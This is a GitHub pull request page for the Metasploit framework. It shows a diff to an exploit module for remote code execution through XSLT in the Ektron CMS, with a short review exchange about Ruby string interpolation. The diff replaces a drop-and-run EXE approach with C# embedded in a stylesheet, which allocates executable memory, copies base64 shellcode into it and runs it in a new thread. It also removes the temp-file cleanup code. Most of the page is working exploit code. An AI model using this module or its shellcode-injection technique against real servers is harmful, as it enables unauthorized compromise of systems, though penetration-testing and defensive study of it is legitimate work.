Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

added c# code by Nicolas Gregoire #1156

Merged
merged 1 commit into from
Dec 11, 2012
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
73 changes: 22 additions & 51 deletions modules/exploits/windows/http/ektron_xslt_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
Expand All @@ -27,7 +26,8 @@ def initialize(info = {})
},
'Author' => [
'Rich Lundeen', # Vulnerability discovery
'juan vazquez' # Metasploit module
'juan vazquez', # Metasploit module
'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
],
'License' => MSF_LICENSE,
'References' =>
Expand Down Expand Up @@ -102,35 +102,6 @@ def check
return Exploit::CheckCode::Safe
end


def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end

@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
windir = session.fs.file.expand_path("%WINDIR%")
win_file = "#{windir}\\Temp\\#{win_file}"
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end

end
end

end

def uri_path
uri_path = target_uri.path
uri_path << "/" if uri_path[-1, 1] != "/"
Expand All @@ -154,10 +125,8 @@ def build_referer
def exploit

print_status("Generating the EXE Payload and the XSLT...")
exe_data = generate_payload_exe
exe_string = Rex::Text.to_hex(exe_data)
exename = rand_text_alpha(5 + rand(5))
fingerprint = rand_text_alpha(5 + rand(5))

xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
Expand All @@ -166,24 +135,27 @@ def exploit
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

public string xml()
{
char[] charData = "#{exe_string}".ToCharArray();
string fileName = @"C:\\windows\\temp\\#{exename}.txt";
System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create);
System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs);
for (int i = 0; i < charData.Length; i++)
{
bw.Write( (byte) charData[i]);
}
bw.Close();
fs.Close();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.FileName = @"C:\\windows\\temp\\#{exename}.txt";
p.Start();
return "#{fingerprint}";
string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
IntPtr pinfo = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
return "#{fingerprint}";
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

why not just return fingerprint? fingerpring is already a string...

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you might have missed this is C# code inside a here-document in Ruby code. The #{fingerprint} thing will be replaced by ruby, therefore generating C# code like

return "Blahblah";

which will in turn be compiled by the XSLT processor and rendered into the result XML for verification of successful exploit.

return fingerprint;

at that place will create a stylesheet compilation error as there is no C# variable named fingerprint in this sample code.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You are correct, I did.

}
]]>
</msxsl:script>
Expand All @@ -210,7 +182,6 @@ def exploit
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
print_good("Exploitation was successful")
register_file_for_cleanup("#{exename}.txt")
else
fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the xslt transformation request")
end
Expand Down